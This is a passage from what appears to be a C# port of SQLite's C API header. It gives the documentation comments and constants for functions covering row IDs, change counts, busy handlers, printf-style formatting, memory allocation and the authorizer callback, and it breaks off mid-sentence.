    */ //#define SQLITE_DBCONFIG_LOOKASIDE 1001 /* void* int int */ const int SQLITE_DBCONFIG_LOOKASIDE = 1001;/* void* int int */ /* ** CAPI3REF: Enable Or Disable Extended Result Codes {H12200} ** ** The sqlite3_extended_result_codes() routine enables or disables the ** [extended result codes] feature of SQLite. The extended result ** codes are disabled by default for historical compatibility considerations. ** ** Requirements: ** [H12201] [H12202] */ //SQLITE_API int sqlite3_extended_result_codes(sqlite3*, int onoff); /* ** CAPI3REF: Last Insert Rowid {H12220} ** ** Each entry in an SQLite table has a unique 64-bit signed ** integer key called the [ROWID | "rowid"]. The rowid is always available ** as an undeclared column named ROWID, OID, or _ROWID_ as long as those ** names are not also used by explicitly declared columns. If ** the table has a column of type [INTEGER PRIMARY KEY] then that column ** is another alias for the rowid. ** ** This routine returns the [rowid] of the most recent ** successful [INSERT] into the database from the [database connection] ** in the first argument. If no successful [INSERT]s ** have ever occurred on that database connection, zero is returned. ** ** If an [INSERT] occurs within a trigger, then the [rowid] of the inserted ** row is returned by this routine as long as the trigger is running. ** But once the trigger terminates, the value returned by this routine ** reverts to the last value inserted before the trigger fired. ** ** An [INSERT] that fails due to a constraint violation is not a ** successful [INSERT] and does not change the value returned by this ** routine. Thus INSERT OR FAIL, INSERT OR IGNORE, INSERT OR ROLLBACK, ** and INSERT OR ABORT make no changes to the return value of this ** routine when their insertion fails. When INSERT OR REPLACE ** encounters a constraint violation, it does not fail. The ** INSERT continues to completion after deleting rows that caused ** the constraint problem so INSERT OR REPLACE will always change ** the return value of this interface. ** ** For the purposes of this routine, an [INSERT] is considered to ** be successful even if it is subsequently rolled back. ** ** Requirements: ** [H12221] [H12223] ** ** If a separate thread performs a new [INSERT] on the same ** database connection while the [sqlite3_last_insert_rowid()] ** function is running and thus changes the last insert [rowid], ** then the value returned by [sqlite3_last_insert_rowid()] is ** unpredictable and might not equal either the old or the new ** last insert [rowid]. */ //SQLITE_API sqlite3_int64 sqlite3_last_insert_rowid(sqlite3*); /* ** CAPI3REF: Count The Number Of Rows Modified {H12240} ** ** This function returns the number of database rows that were changed ** or inserted or deleted by the most recently completed SQL statement ** on the [database connection] specified by the first parameter. ** Only changes that are directly specified by the [INSERT], [UPDATE], ** or [DELETE] statement are counted. Auxiliary changes caused by ** triggers are not counted. Use the [sqlite3_total_changes()] function ** to find the total number of changes including changes caused by triggers. ** ** Changes to a view that are simulated by an [INSTEAD OF trigger] ** are not counted. Only real table changes are counted. ** ** A "row change" is a change to a single row of a single table ** caused by an INSERT, DELETE, or UPDATE statement. Rows that ** are changed as side effects of [REPLACE] constraint resolution, ** rollback, ABORT processing, [DROP TABLE], or by any other ** mechanisms do not count as direct row changes. ** ** A "trigger context" is a scope of execution that begins and ** ends with the script of a [CREATE TRIGGER | trigger]. ** Most SQL statements are ** evaluated outside of any trigger. This is the "top level" ** trigger context. If a trigger fires from the top level, a ** new trigger context is entered for the duration of that one ** trigger. Subtriggers create subcontexts for their duration. ** ** Calling [sqlite3_exec()] or [sqlite3_step()] recursively does ** not create a new trigger context. ** ** This function returns the number of direct row changes in the ** most recent INSERT, UPDATE, or DELETE statement within the same ** trigger context. ** ** Thus, when called from the top level, this function returns the ** number of changes in the most recent INSERT, UPDATE, or DELETE ** that also occurred at the top level. Within the body of a trigger, ** the sqlite3_changes() interface can be called to find the number of ** changes in the most recently completed INSERT, UPDATE, or DELETE ** statement within the body of the same trigger. ** However, the number returned does not include changes ** caused by subtriggers since those have their own context. ** ** See also the [sqlite3_total_changes()] interface and the ** [count_changes pragma]. ** ** Requirements: ** [H12241] [H12243] ** ** If a separate thread makes changes on the same database connection ** while [sqlite3_changes()] is running then the value returned ** is unpredictable and not meaningful. */ //SQLITE_API int sqlite3_changes(sqlite3*); /* ** CAPI3REF: Total Number Of Rows Modified {H12260} ** ** This function returns the number of row changes caused by [INSERT], ** [UPDATE] or [DELETE] statements since the [database connection] was opened. ** The count includes all changes from all ** [CREATE TRIGGER | trigger] contexts. However, ** the count does not include changes used to implement [REPLACE] constraints, ** do rollbacks or ABORT processing, or [DROP TABLE] processing. The ** count does not include rows of views that fire an [INSTEAD OF trigger], ** though if the INSTEAD OF trigger makes changes of its own, those changes ** are counted. ** The changes are counted as soon as the statement that makes them is ** completed (when the statement handle is passed to [sqlite3_reset()] or ** [sqlite3_finalize()]). ** ** See also the [sqlite3_changes()] interface and the ** [count_changes pragma]. ** ** Requirements: ** [H12261] [H12263] ** ** If a separate thread makes changes on the same database connection ** while [sqlite3_total_changes()] is running then the value ** returned is unpredictable and not meaningful. */ //SQLITE_API int sqlite3_total_changes(sqlite3*); /* ** CAPI3REF: Interrupt A Long-Running Query {H12270} ** ** This function causes any pending database operation to abort and ** return at its earliest opportunity. This routine is typically ** called in response to a user action such as pressing "Cancel" ** or Ctrl-C where the user wants a long query operation to halt ** immediately. ** ** It is safe to call this routine from a thread different from the ** thread that is currently running the database operation. But it ** is not safe to call this routine with a [database connection] that ** is closed or might close before sqlite3_interrupt() returns. ** ** If an SQL operation is very nearly finished at the time when ** sqlite3_interrupt() is called, then it might not have an opportunity ** to be interrupted and might continue to completion. ** ** An SQL operation that is interrupted will return [SQLITE_INTERRUPT]. ** If the interrupted SQL operation is an INSERT, UPDATE, or DELETE ** that is inside an explicit transaction, then the entire transaction ** will be rolled back automatically. ** ** The sqlite3_interrupt(D) call is in effect until all currently running ** SQL statements on [database connection] D complete. Any new SQL statements ** that are started after the sqlite3_interrupt() call and before the ** running statements reaches zero are interrupted as if they had been ** running prior to the sqlite3_interrupt() call. New SQL statements ** that are started after the running statement count reaches zero are ** not effected by the sqlite3_interrupt(). ** A call to sqlite3_interrupt(D) that occurs when there are no running ** SQL statements is a no-op and has no effect on SQL statements ** that are started after the sqlite3_interrupt() call returns. ** ** Requirements: ** [H12271] [H12272] ** ** If the database connection closes while [sqlite3_interrupt()] ** is running then bad things will likely happen. */ //SQLITE_API void sqlite3_interrupt(sqlite3*); /* ** CAPI3REF: Determine If An SQL Statement Is Complete {H10510} ** ** These routines are useful during command-line input to determine if the ** currently entered text seems to form a complete SQL statement or ** if additional input is needed before sending the text into ** SQLite for parsing. These routines return 1 if the input string ** appears to be a complete SQL statement. A statement is judged to be ** complete if it ends with a semicolon token and is not a prefix of a ** well-formed CREATE TRIGGER statement. Semicolons that are embedded within ** string literals or quoted identifier names or comments are not ** independent tokens (they are part of the token in which they are ** embedded) and thus do not count as a statement terminator. Whitespace ** and comments that follow the final semicolon are ignored. ** ** These routines return 0 if the statement is incomplete. If a ** memory allocation fails, then SQLITE_NOMEM is returned. ** ** These routines do not parse the SQL statements thus ** will not detect syntactically incorrect SQL. ** ** If SQLite has not been initialized using [sqlite3_initialize()] prior ** to invoking sqlite3_complete16() then sqlite3_initialize() is invoked ** automatically by sqlite3_complete16(). If that initialization fails, ** then the return value from sqlite3_complete16() will be non-zero ** regardless of whether or not the input SQL is complete. ** ** Requirements: [H10511] [H10512] ** ** The input to [sqlite3_complete()] must be a zero-terminated ** UTF-8 string. ** ** The input to [sqlite3_complete16()] must be a zero-terminated ** UTF-16 string in native byte order. */ //SQLITE_API int sqlite3_complete(const char *sql); //SQLITE_API int sqlite3_complete16(const void *sql); /* ** CAPI3REF: Register A Callback To Handle SQLITE_BUSY Errors {H12310} ** ** This routine sets a callback function that might be invoked whenever ** an attempt is made to open a database table that another thread ** or process has locked. ** ** If the busy callback is NULL, then [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] ** is returned immediately upon encountering the lock. If the busy callback ** is not NULL, then the callback will be invoked with two arguments. ** ** The first argument to the handler is a copy of the void* pointer which ** is the third argument to sqlite3_busy_handler(). The second argument to ** the handler callback is the number of times that the busy handler has ** been invoked for this locking event. If the ** busy callback returns 0, then no additional attempts are made to ** access the database and [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] is returned. ** If the callback returns non-zero, then another attempt ** is made to open the database for reading and the cycle repeats. ** ** The presence of a busy handler does not guarantee that it will be invoked ** when there is lock contention. If SQLite determines that invoking the busy ** handler could result in a deadlock, it will go ahead and return [SQLITE_BUSY] ** or [SQLITE_IOERR_BLOCKED] instead of invoking the busy handler. ** Consider a scenario where one process is holding a read lock that ** it is trying to promote to a reserved lock and ** a second process is holding a reserved lock that it is trying ** to promote to an exclusive lock. The first process cannot proceed ** because it is blocked by the second and the second process cannot ** proceed because it is blocked by the first. If both processes ** invoke the busy handlers, neither will make any progress. Therefore, ** SQLite returns [SQLITE_BUSY] for the first process, hoping that this ** will induce the first process to release its read lock and allow ** the second process to proceed. ** ** The default busy callback is NULL. ** ** The [SQLITE_BUSY] error is converted to [SQLITE_IOERR_BLOCKED] ** when SQLite is in the middle of a large transaction where all the ** changes will not fit into the in-memory cache. SQLite will ** already hold a RESERVED lock on the database file, but it needs ** to promote this lock to EXCLUSIVE so that it can spill cache ** pages into the database file without harm to concurrent ** readers. If it is unable to promote the lock, then the in-memory ** cache will be left in an inconsistent state and so the error ** code is promoted from the relatively benign [SQLITE_BUSY] to ** the more severe [SQLITE_IOERR_BLOCKED]. This error code promotion ** forces an automatic rollback of the changes. See the ** ** CorruptionFollowingBusyError wiki page for a discussion of why ** this is important. ** ** There can only be a single busy handler defined for each ** [database connection]. Setting a new busy handler clears any ** previously set handler. Note that calling [sqlite3_busy_timeout()] ** will also set or clear the busy handler. ** ** The busy callback should not take any actions which modify the ** database connection that invoked the busy handler. Any such actions ** result in undefined behavior. ** ** Requirements: ** [H12311] [H12312] [H12314] [H12316] [H12318] ** ** A busy handler must not close the database connection ** or [prepared statement] that invoked the busy handler. */ //SQLITE_API int sqlite3_busy_handler(sqlite3*, int(*)(void*,int), void*); /* ** CAPI3REF: Set A Busy Timeout {H12340} ** ** This routine sets a [sqlite3_busy_handler | busy handler] that sleeps ** for a specified amount of time when a table is locked. The handler ** will sleep multiple times until at least "ms" milliseconds of sleeping ** have accumulated. {H12343} After "ms" milliseconds of sleeping, ** the handler returns 0 which causes [sqlite3_step()] to return ** [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED]. ** ** Calling this routine with an argument less than or equal to zero ** turns off all busy handlers. ** ** There can only be a single busy handler for a particular ** [database connection] any any given moment. If another busy handler ** was defined (using [sqlite3_busy_handler()]) prior to calling ** this routine, that other busy handler is cleared. ** ** Requirements: ** [H12341] [H12343] [H12344] */ //SQLITE_API int sqlite3_busy_timeout(sqlite3*, int ms); /* ** CAPI3REF: Convenience Routines For Running Queries {H12370} ** ** Definition: A result table is memory data structure created by the ** [sqlite3_get_table()] interface. A result table records the ** complete query results from one or more queries. ** ** The table conceptually has a number of rows and columns. But ** these numbers are not part of the result table itself. These ** numbers are obtained separately. Let N be the number of rows ** and M be the number of columns. ** ** A result table is an array of pointers to zero-terminated UTF-8 strings. ** There are (N+1)*M elements in the array. The first M pointers point ** to zero-terminated strings that contain the names of the columns. ** The remaining entries all point to query results. NULL values result ** in NULL pointers. All other values are in their UTF-8 zero-terminated ** string representation as returned by [sqlite3_column_text()]. ** ** A result table might consist of one or more memory allocations. ** It is not safe to pass a result table directly to [sqlite3_free()]. ** A result table should be deallocated using [sqlite3_free_table()]. ** ** As an example of the result table format, suppose a query result ** is as follows: ** **
        **        Name        | Age
        **        -----------------------
        **        Alice       | 43
        **        Bob         | 28
        **        Cindy       | 21
        ** 
    ** ** There are two column (M==2) and three rows (N==3). Thus the ** result table has 8 entries. Suppose the result table is stored ** in an array names azResult. Then azResult holds this content: ** **
        **        azResult[0] = "Name";
        **        azResult[1] = "Age";
        **        azResult[2] = "Alice";
        **        azResult[3] = "43";
        **        azResult[4] = "Bob";
        **        azResult[5] = "28";
        **        azResult[6] = "Cindy";
        **        azResult[7] = "21";
        ** 
    ** ** The sqlite3_get_table() function evaluates one or more ** semicolon-separated SQL statements in the zero-terminated UTF-8 ** string of its 2nd parameter. It returns a result table to the ** pointer given in its 3rd parameter. ** ** After the calling function has finished using the result, it should ** pass the pointer to the result table to sqlite3_free_table() in order to ** release the memory that was malloced. Because of the way the ** [sqlite3_malloc()] happens within sqlite3_get_table(), the calling ** function must not try to call [sqlite3_free()] directly. Only ** [sqlite3_free_table()] is able to release the memory properly and safely. ** ** The sqlite3_get_table() interface is implemented as a wrapper around ** [sqlite3_exec()]. The sqlite3_get_table() routine does not have access ** to any internal data structures of SQLite. It uses only the public ** interface defined here. As a consequence, errors that occur in the ** wrapper layer outside of the internal [sqlite3_exec()] call are not ** reflected in subsequent calls to [sqlite3_errcode()] or [sqlite3_errmsg()]. ** ** Requirements: ** [H12371] [H12373] [H12374] [H12376] [H12379] [H12382] */ //SQLITE_API int sqlite3_get_table( // sqlite3 *db, /* An open database */ // const char *zSql, /* SQL to be evaluated */ // char ***pazResult, /* Results of the query */ // int *pnRow, /* Number of result rows written here */ // int *pnColumn, /* Number of result columns written here */ // char **pzErrmsg /* Error msg written here */ //); //SQLITE_API void sqlite3_free_table(char **result); /* ** CAPI3REF: Formatted String Printing Functions {H17400} ** ** These routines are workalikes of the "printf()" family of functions ** from the standard C library. ** ** The sqlite3_mprintf() and sqlite3_vmprintf() routines write their ** results into memory obtained from [sqlite3_malloc()]. ** The strings returned by these two routines should be ** released by [sqlite3_free()]. Both routines return a ** NULL pointer if [sqlite3_malloc()] is unable to allocate enough ** memory to hold the resulting string. ** ** In sqlite3_snprintf() routine is similar to "snprintf()" from ** the standard C library. The result is written into the ** buffer supplied as the second parameter whose size is given by ** the first parameter. Note that the order of the ** first two parameters is reversed from snprintf(). This is an ** historical accident that cannot be fixed without breaking ** backwards compatibility. Note also that sqlite3_snprintf() ** returns a pointer to its buffer instead of the number of ** characters actually written into the buffer. We admit that ** the number of characters written would be a more useful return ** value but we cannot change the implementation of sqlite3_snprintf() ** now without breaking compatibility. ** ** As long as the buffer size is greater than zero, sqlite3_snprintf() ** guarantees that the buffer is always zero-terminated. The first ** parameter "n" is the total size of the buffer, including space for ** the zero terminator. So the longest string that can be completely ** written will be n-1 characters. ** ** These routines all implement some additional formatting ** options that are useful for constructing SQL statements. ** All of the usual printf() formatting options apply. In addition, there ** is are "%q", "%Q", and "%z" options. ** ** The %q option works like %s in that it substitutes a null-terminated ** string from the argument list. But %q also doubles every '\'' character. ** %q is designed for use inside a string literal. By doubling each '\'' ** character it escapes that character and allows it to be inserted into ** the string. ** ** For example, assume the string variable zText contains text as follows: ** **
        **  char *zText = "It's a happy day!";
        ** 
    ** ** One can use this text in an SQL statement as follows: ** **
        **  char *zSQL = sqlite3_mprintf("INSERT INTO table VALUES('%q')", zText);
        **  sqlite3_exec(db, zSQL, 0, 0, 0);
        **  sqlite3_free(zSQL);
        ** 
    ** ** Because the %q format string is used, the '\'' character in zText ** is escaped and the SQL generated is as follows: ** **
        **  INSERT INTO table1 VALUES('It''s a happy day!')
        ** 
    ** ** This is correct. Had we used %s instead of %q, the generated SQL ** would have looked like this: ** **
        **  INSERT INTO table1 VALUES('It's a happy day!');
        ** 
    ** ** This second example is an SQL syntax error. As a general rule you should ** always use %q instead of %s when inserting text into a string literal. ** ** The %Q option works like %q except it also adds single quotes around ** the outside of the total string. Additionally, if the parameter in the ** argument list is a NULL pointer, %Q substitutes the text "NULL" (without ** single quotes) in place of the %Q option. So, for example, one could say: ** **
        **  char *zSQL = sqlite3_mprintf("INSERT INTO table VALUES(%Q)", zText);
        **  sqlite3_exec(db, zSQL, 0, 0, 0);
        **  sqlite3_free(zSQL);
        ** 
    ** ** The code above will render a correct SQL statement in the zSQL ** variable even if the zText variable is a NULL pointer. ** ** The "%z" formatting option works exactly like "%s" with the ** addition that after the string has been read and copied into ** the result, [sqlite3_free()] is called on the input string. {END} ** ** Requirements: ** [H17403] [H17406] [H17407] */ //SQLITE_API char *sqlite3_mprintf(const char*,...); //SQLITE_API char *sqlite3_vmprintf(const char*, va_list); //SQLITE_API char *sqlite3_snprintf(int,char*,const char*, ...); /* ** CAPI3REF: Memory Allocation Subsystem {H17300} ** ** The SQLite core uses these three routines for all of its own ** internal memory allocation needs. "Core" in the previous sentence ** does not include operating-system specific VFS implementation. The ** Windows VFS uses native malloc() and free() for some operations. ** ** The sqlite3_malloc() routine returns a pointer to a block ** of memory at least N bytes in length, where N is the parameter. ** If sqlite3_malloc() is unable to obtain sufficient free ** memory, it returns a NULL pointer. If the parameter N to ** sqlite3_malloc() is zero or negative then sqlite3_malloc() returns ** a NULL pointer. ** ** Calling sqlite3_free() with a pointer previously returned ** by sqlite3_malloc() or sqlite3_realloc() releases that memory so ** that it might be reused. The sqlite3_free() routine is ** a no-op if is called with a NULL pointer. Passing a NULL pointer ** to sqlite3_free() is harmless. After being freed, memory ** should neither be read nor written. Even reading previously freed ** memory might result in a segmentation fault or other severe error. ** Memory corruption, a segmentation fault, or other severe error ** might result if sqlite3_free() is called with a non-NULL pointer that ** was not obtained from sqlite3_malloc() or sqlite3_realloc(). ** ** The sqlite3_realloc() interface attempts to resize a ** prior memory allocation to be at least N bytes, where N is the ** second parameter. The memory allocation to be resized is the first ** parameter. If the first parameter to sqlite3_realloc() ** is a NULL pointer then its behavior is identical to calling ** sqlite3_malloc(N) where N is the second parameter to sqlite3_realloc(). ** If the second parameter to sqlite3_realloc() is zero or ** negative then the behavior is exactly the same as calling ** sqlite3_free(P) where P is the first parameter to sqlite3_realloc(). ** sqlite3_realloc() returns a pointer to a memory allocation ** of at least N bytes in size or NULL if sufficient memory is unavailable. ** If M is the size of the prior allocation, then min(N,M) bytes ** of the prior allocation are copied into the beginning of buffer returned ** by sqlite3_realloc() and the prior allocation is freed. ** If sqlite3_realloc() returns NULL, then the prior allocation ** is not freed. ** ** The memory returned by sqlite3_malloc() and sqlite3_realloc() ** is always aligned to at least an 8 byte boundary. {END} ** ** The default implementation of the memory allocation subsystem uses ** the malloc(), realloc() and free() provided by the standard C library. ** {H17382} However, if SQLite is compiled with the ** SQLITE_MEMORY_SIZE=NNN C preprocessor macro (where NNN ** is an integer), then SQLite create a static array of at least ** NNN bytes in size and uses that array for all of its dynamic ** memory allocation needs. {END} Additional memory allocator options ** may be added in future releases. ** ** In SQLite version 3.5.0 and 3.5.1, it was possible to define ** the SQLITE_OMIT_MEMORY_ALLOCATION which would cause the built-in ** implementation of these routines to be omitted. That capability ** is no longer provided. Only built-in memory allocators can be used. ** ** The Windows OS interface layer calls ** the system malloc() and free() directly when converting ** filenames between the UTF-8 encoding used by SQLite ** and whatever filename encoding is used by the particular Windows ** installation. Memory allocation errors are detected, but ** they are reported back as [SQLITE_CANTOPEN] or ** [SQLITE_IOERR] rather than [SQLITE_NOMEM]. ** ** Requirements: ** [H17303] [H17304] [H17305] [H17306] [H17310] [H17312] [H17315] [H17318] ** [H17321] [H17322] [H17323] ** ** The pointer arguments to [sqlite3_free()] and [sqlite3_realloc()] ** must be either NULL or else pointers obtained from a prior ** invocation of [sqlite3_malloc()] or [sqlite3_realloc()] that have ** not yet been released. ** ** The application must not read or write any part of ** a block of memory after it has been released using ** [sqlite3_free()] or [sqlite3_realloc()]. */ //SQLITE_API void *sqlite3_malloc(int); //SQLITE_API void *sqlite3_realloc(void*, int); //SQLITE_API void sqlite3_free(void*); /* ** CAPI3REF: Memory Allocator Statistics {H17370} ** ** SQLite provides these two interfaces for reporting on the status ** of the [sqlite3_malloc()], [sqlite3_free()], and [sqlite3_realloc()] ** routines, which form the built-in memory allocation subsystem. ** ** Requirements: ** [H17371] [H17373] [H17374] [H17375] */ //SQLITE_API sqlite3_int64 sqlite3_memory_used(void); //SQLITE_API sqlite3_int64 sqlite3_memory_highwater(int resetFlag); /* ** CAPI3REF: Pseudo-Random Number Generator {H17390} ** ** SQLite contains a high-quality pseudo-random number generator (PRNG) used to ** select random [ROWID | ROWIDs] when inserting new records into a table that ** already uses the largest possible [ROWID]. The PRNG is also used for ** the build-in random() and randomblob() SQL functions. This interface allows ** applications to access the same PRNG for other purposes. ** ** A call to this routine stores N bytes of randomness into buffer P. ** ** The first time this routine is invoked (either internally or by ** the application) the PRNG is seeded using randomness obtained ** from the xRandomness method of the default [sqlite3_vfs] object. ** On all subsequent invocations, the pseudo-randomness is generated ** internally and without recourse to the [sqlite3_vfs] xRandomness ** method. ** ** Requirements: ** [H17392] */ //SQLITE_API void sqlite3_randomness(int N, void *P); /* ** CAPI3REF: Compile-Time Authorization Callbacks {H12500} ** ** This routine registers a authorizer callback with a particular ** [database connection], supplied in the first argument. ** The authorizer callback is invoked as SQL statements are being compiled ** by [sqlite3_prepare()] or its variants [sqlite3_prepare_v2()], ** [sqlite3_prepare16()] and [sqlite3_prepare16_v2()]. At various ** points during the compilation process, as logic is being created ** to perform various actions, the authorizer callback is invoked to ** see if those actions are allowed. The authorizer callback should ** return [SQLITE_OK] to allow the action, [SQLITE_IGNORE] to disallow the ** specific action but allow the SQL statement to continue to be ** compiled, or [SQLITE_DENY] to cause the entire SQL statement to be ** rejected with an error. If the authorizer callback returns ** any value other than [SQLITE_IGNORE], [SQLITE_OK], or [SQLITE_DENY] ** then the [sqlite3_prepare_v2()] or equivalent call that triggered ** the authorizer will fail with an error message. ** ** When the callback returns [SQLITE_OK], that means the operation ** requested is ok. When the callback returns [SQLITE_DENY], the ** [sqlite3_prepare_v2()] or equivalent call that triggered the ** authorizer will fail with an error message explaining that ** access is denied. ** ** The first parameter to the authorizer callback is a copy of the third ** parameter to the sqlite3_set_authorizer() interface. The second parameter ** to the callback is an integer [SQLITE_COPY | action code] that specifies ** the particular action to be authorized. The third through sixth parameters ** to the callback are zero-terminated strings that contain additional ** details about the action to be authorized. ** ** If the action code is [SQLITE_READ] ** and the callback returns [SQLITE_IGNORE] then the ** [prepared statement] statement is constructed to substitute ** a NULL value in place of the table column that would have ** been read if [SQLITE_OK] had been returned. The [SQLITE_IGNORE] ** return can be used to deny an untrusted user access to individual ** columns of a table. ** If the action code is [SQLITE_DELETE] and the callback returns ** [SQLITE_IGNORE] then the [DELETE] operation proceeds but the ** [truncate optimization] is disabled and all rows are deleted individually. ** ** An authorizer is used when [sqlite3_prepare | preparing] ** SQL statements from an untrusted source, to ensure that the SQL statements ** do not try to access data they are not allowed to see, or that they do not ** try to execute malicious statements that damage the database. For ** example, an application may allow a user to enter arbitrary ** SQL queries for evaluation by a database. But the application does ** not want the user to be able to make arbitrary changes to the ** database. An authorizer could then be put in place while the ** user-entered SQL is being [sqlite3_prepare | prepared] that ** disallows everything except [SELECT] statements. ** ** Applications that need to process SQL from untrusted sources ** might also consider lowering resource limits using [sqlite3_limit()] ** and limiting database size using the [max_page_count] [PRAGMA] ** in addition to using an authorizer. ** ** Only a single authorizer can be in place on a database connection ** at a time. Each call to sqlite3_set_authorizer overrides the ** previous call. Disable the authorizer by installing a NULL callback. ** The authorizer is disabled by default. ** ** The authorizer callback must not do anything that will modify ** the database connection that invoked the authorizer callback. ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their ** database connections for the meaning of "modify" in this paragraph. ** ** When [sqlite3_prepare_v2()] is used to prepare a statement, the ** statement might be reprepared during [sqlite3_step()] due to a ** schema change. Hence, the application should ensure that the ** correct authorizer callback remains in place during the [sqlite3_step()]. ** ** Note that the authorizer callback is invoked only during ** [sqlite3_prepare()] or its variants. Authorization is not ** performed during statement evaluation in [sqlite3_step()], unless ** as stated in the previous paragraph, sqlite3_step() invokes ** sqlite3_prepare_v2() to reprepare a statement after a schema change. ** ** Requirements: ** [H12501] [H12502] [H12503] [H12504] [H12505] [H12506] [H12507] [H12510] ** [H12511] [H12512] [H12520] [H12521] [H12522] */ //SQLITE_API int sqlite3_set_authorizer( // sqlite3*, // int (*xAuth)(void*,int,const char*,const char*,const char*,const char*), // void *pUserData //); /* ** CAPI3REF: Authorizer Return Codes {H12590} ** ** The [sqlite3_set_authorizer | authorizer callback function] must ** return either [SQLITE_OK] or one of these two constants in order ** to signal SQLite whether or not the action is permitted. See the ** [sqlite3_set_authorizer | authorizer documentation] for additional ** information. */ //#define SQLITE_DENY 1 /* Abort the SQL statement with an error */ //#define SQLITE_IGNORE 2 /* Don't allow access, but don't generate an error */ const int SQLITE_DENY = 1; const int SQLITE_IGNORE = 2; /* ** CAPI3REF: Authorizer Action Codes {H12550} ** ** The [sqlite3_set_authorizer()] interface registers a callback function ** that is invoked to authorize certain SQL statement actions. The ** second parameter to the callback is an integer code that specifies ** what action is being authorized. These are the integer action codes that ** the authorizer callback may be passed. ** ** These action code values signify what kind of operation is to be ** authorized. The 3rd and 4th parameters to the authorization ** callback function will be parameters or NULL depending on which of these ** codes is used as the second parameter. The 5th parameter to the ** authorizer callback is the name of the database ("main", "temp", ** etc.) if applicable. The 6th parameter to the authorizer callback ** is the name of the inner-most trigger or view that is responsible for ** the access attempt or NULL if this access attempt is directly from ** top-level SQL code. ** ** Requirements: ** [H12551] [H12552] [H12553] [H12554] */ /******************************************* 3rd ************ 4th ***********/ //#define SQLITE_CREATE_INDEX 1 /* Index Name Table Name */ //#define SQLITE_CREATE_TABLE 2 /* Table Name NULL */ //#define SQLITE_CREATE_TEMP_INDEX 3 /* Index Name Table Name */ //#define SQLITE_CREATE_TEMP_TABLE 4 /* Table Name NULL */ //#define SQLITE_CREATE_TEMP_TRIGGER 5 /* Trigger Name Table Name */ //#define SQLITE_CREATE_TEMP_VIEW 6 /* View Name NULL */ //#define SQLITE_CREATE_TRIGGER 7 /* Trigger Name Table Name */ //#define SQLITE_CREATE_VIEW 8 /* View Name NULL */ //#define SQLITE_DELETE 9 /* Table Name NULL */ //#define SQLITE_DROP_INDEX 10 /* Index Name Table Name */ //#define SQLITE_DROP_TABLE 11 /* Table Name NULL */ //#define SQLITE_DROP_TEMP_INDEX 12 /* Index Name Table Name */ //#define SQLITE_DROP_TEMP_TABLE 13 /* Table Name NULL */ //#define SQLITE_DROP_TEMP_TRIGGER 14 /* Trigger Name Table Name */ //#define SQLITE_DROP_TEMP_VIEW 15 /* View Name NULL */ //#define SQLITE_DROP_TRIGGER 16 /* Trigger Name Table Name */ //#define SQLITE_DROP_VIEW 17 /* View Name NULL */ //#define SQLITE_INSERT 18 /* Table Name NULL */ //#define SQLITE_PRAGMA 19 /* Pragma Name 1st arg or NULL */ //#define SQLITE_READ 20 /* Table Name Column Name */ //#define SQLITE_SELECT 21 /* NULL NULL */ //#define SQLITE_TRANSACTION 22 /* Operation NULL */ //#define SQLITE_UPDATE 23 /* Table Name Column Name */ //#define SQLITE_ATTACH 24 /* Filename NULL */ //#define SQLITE_DETACH 25 /* Database Name NULL */ //#define SQLITE_ALTER_TABLE 26 /* Database Name Table Name */ //#define SQLITE_REINDEX 27 /* Index Name NULL */ //#define SQLITE_ANALYZE 28 /* Table Name NULL */ //#define SQLITE_CREATE_VTABLE 29 /* Table Name Module Name */ //#define SQLITE_DROP_VTABLE 30 /* Table Name Module Name */ //#define SQLITE_FUNCTION 31 /* NULL Function Name */ //#define SQLITE_SAVEPOINT 32 /* Operation Savepoint Name */ //#define SQLITE_COPY 0 /* No longer used */ const int SQLITE_CREATE_INDEX = 1; const int SQLITE_CREATE_TABLE = 2; const int SQLITE_CREATE_TEMP_INDEX = 3; const int SQLITE_CREATE_TEMP_TABLE = 4; const int SQLITE_CREATE_TEMP_TRIGGER = 5; const int SQLITE_CREATE_TEMP_VIEW = 6; const int SQLITE_CREATE_TRIGGER = 7; const int SQLITE_CREATE_VIEW = 8; const int SQLITE_DELETE = 9; const int SQLITE_DROP_INDEX = 10; const int SQLITE_DROP_TABLE = 11; const int SQLITE_DROP_TEMP_INDEX = 12; const int SQLITE_DROP_TEMP_TABLE = 13; const int SQLITE_DROP_TEMP_TRIGGER = 14; const int SQLITE_DROP_TEMP_VIEW = 15; const int SQLITE_DROP_TRIGGER = 16; const int SQLITE_DROP_VIEW = 17; const int SQLITE_INSERT = 18; const int SQLITE_PRAGMA = 19; const int SQLITE_READ = 20; const int SQLITE_SELECT = 21; const int SQLITE_TRANSACTION = 22; const int SQLITE_UPDATE = 23; const int SQLITE_ATTACH = 24; const int SQLITE_DETACH = 25; const int SQLITE_ALTER_TABLE = 26; const int SQLITE_REINDEX = 27; const int SQLITE_ANALYZE = 28; const int SQLITE_CREATE_VTABLE = 29; const int SQLITE_DROP_VTABLE = 30; const int SQLITE_FUNCTION = 31; const int SQLITE_SAVEPOINT = 32; const int SQLITE_COPY = 0; /* ** CAPI3REF: Tracing And Profiling Functions {H12280} ** EXPERIMENTAL ** ** These routines register callback functions that can be used for ** tracing and profiling the execution of SQL statements. ** ** The callback function registered by sqlite3_trace() is invoked at ** various times when an SQL statement is being run by [sqlite3_step()]. ** The callback returns a UTF-8 rendering of the SQL statement text ** as the statement first begins executing. Additional callbacks occur ** as each triggered subprogram is entered. The callbacks for triggers ** contain a UTF-8 SQL comment that identifies the trigger. ** ** The callback function registered by sqlite3_profile() is invoked ** as each SQL statement finishes. The profile callback contains ** the original statement text and an estimate of wall-clock time ** of how long that statement took to run. ** ** Requirements: ** [H12281] [H12282] [H12283] [H12284] [H12285] [H12287] [H12288] [H12289] ** [H12290] */ //SQLITE_API SQLITE_EXPERIMENTAL void *sqlite3_trace(sqlite3*, void(*xTrace)(void*,const char*), void*); //SQLITE_API SQLITE_EXPERIMENTAL void *sqlite3_profile(sqlite3*, // void(*xProfile)(void*,const char*,sqlite3_uint64), void*); /* ** CAPI3REF: Query Progress Callbacks {H12910} ** ** This routine configures a callback function - the ** progress callback - that is invoked periodically during long ** running calls to [sqlite3_exec()], [sqlite3_step()] and ** [sqlite3_get_table()]. An example use for this ** interface is to keep a GUI updated during a large query. ** ** If the progress callback returns non-zero, the operation is ** interrupted. This feature can be used to implement a ** "Cancel" button on a GUI progress dialog box. ** ** The progress handler must not do anything that will modify ** the database connection that invoked the progress handler. ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify 